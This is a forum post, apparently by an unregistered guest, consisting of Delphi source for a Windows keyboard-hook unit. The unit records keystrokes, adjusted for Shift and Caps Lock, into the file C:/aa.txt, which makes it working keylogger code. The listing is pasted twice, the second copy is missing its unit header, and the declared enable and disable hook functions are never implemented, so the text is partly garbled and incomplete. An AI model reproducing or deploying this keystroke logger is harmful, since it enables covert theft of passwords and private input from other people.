K
kaman99
Unregistered / Unconfirmed
GUEST, unregistred user!
unit HKPROC;
interface
uses
Windows,Messages;
var
debugfile:textfile;
c :char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer;
function EnableHotKeyHook:bool;export;
function DisableHotKeyHook : BOOL; export;
procedure HotKeyHookExit; far;
const
f='C:/aa.txt';
implementation
function KeyboardHookHandler(iCode:Integer;WParam:WPARAM;lParam:LPARAM):LRESULT stdcall export;
const
_KeyPressMask=$8000;
begin
if iCode<0 then
begin
Result:=CallNextHookEx(hNextHookProc,iCode,wParam,lParam);
Exit;
end;
assignfile(debugfile,f);
try
append(debugfile);
except
rewrite(debugfile);
end;
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
c:=chr(wparam-16)
else
c:= chr(wparam+32);
end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam);
end
end else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
c:=chr(wparam-16)
else
c:= chr(wparam);
end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam+32);
end;
write(debugfile,c); //将捕获的键码存入文件
end;
end;
closefile(debugfile);
Result :=0;
end;
interface
uses
Windows,Messages;
var
debugfile:textfile;
c :char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer;
function EnableHotKeyHook:bool;export;
function DisableHotKeyHook : BOOL; export;
procedure HotKeyHookExit; far;
const
f='C:/aa.txt';
implementation
function KeyboardHookHandler(iCode:Integer;WParam:WPARAM;lParam:LPARAM):LRESULT stdcall export;
const
_KeyPressMask=$8000;
begin
if iCode<0 then
begin
Result:=CallNextHookEx(hNextHookProc,iCode,wParam,lParam);
Exit;
end;
assignfile(debugfile,f);
try
append(debugfile);
except
rewrite(debugfile);
end;
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
c:=chr(wparam-16)
else
c:= chr(wparam+32);
end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam);
end
end else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
c:=chr(wparam-16)
else
c:= chr(wparam);
end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam+32);
end;
write(debugfile,c); //将捕获的键码存入文件
end;
end;
closefile(debugfile);
Result :=0;
end;